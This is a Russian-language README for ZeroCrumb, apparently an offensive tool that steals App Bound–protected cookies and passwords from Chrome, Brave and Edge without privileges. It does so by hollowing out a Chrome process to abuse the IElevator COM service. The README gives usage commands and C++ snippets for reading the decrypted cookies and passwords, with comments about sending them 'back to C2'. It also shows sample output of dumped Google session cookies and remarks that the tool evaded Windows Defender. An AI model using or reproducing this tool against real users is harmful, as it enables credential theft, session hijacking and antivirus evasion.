
Извлечение защищённых App Bound учётных данных и файлов cookie без привилегий.
Дамп защищённых App Bound учётных данных и файлов cookie без привилегий.
ZeroCrumb обходит службу Chrome Elevation Service, выдавая себя за экземпляр Chrome с помощью Transacted Hollowing, что позволяет использовать COM-интерфейс IElevator для расшифровки ключа App Bound.
Затем дампер ключа, работающий внутри подменённого экземпляра Chrome, отправляет расшифрованный ключ обратно в ZeroCrumb через именованный канал.
После этого ZeroCrumb расшифровывает файлы cookie/пароли указанного браузера с помощью полученного ранее ключа.
Использование именованных каналов в ZeroCrumb позволяет любой программе, умеющей работать с Windows API, подключиться к именованному каналу ZeroCrumb и прочитать из него ключ App Bound.
Если вы хотите использовать ZeroCrumb в качестве библиотеки, вам потребуется скомпилировать DLL, экспортирующую функцию, которая выполняет холлоуинг Chrome с помощью дампера ключа. Возможно, также потребуется встроить PE-файл дампера ключа в секцию .rsrc скомпилированной DLL и затем извлекать его с помощью Windows API для ресурсов приложения.
Вы можете запускать это в любой выбранной вами директории, главное, чтобы дампер ключа находился в той же директории.
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser Types:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump Types:
Cookies
Passwords
ZeroCrumb предоставляет простые в использовании классы CookieReader и PasswordReader:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
ZeroCrumb требует две зависимости Vcpkg:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
Вы можете модифицировать ZeroCrumb для работы с любым типом учётных данных, а не только с файлами cookie и паролями.
Это ни в коем случае не самая скрытная реализация данного обхода: его можно обнаружить по наличию специфических строк, перехвату API и т. д.
На момент моего тестирования он обходил Windows Defender, но другие антивирусы я не проверял.
Если эта реализация обхода в будущем попадёт в сигнатуры, я оставлю повышение её скрытности в качестве упражнения для пользователя.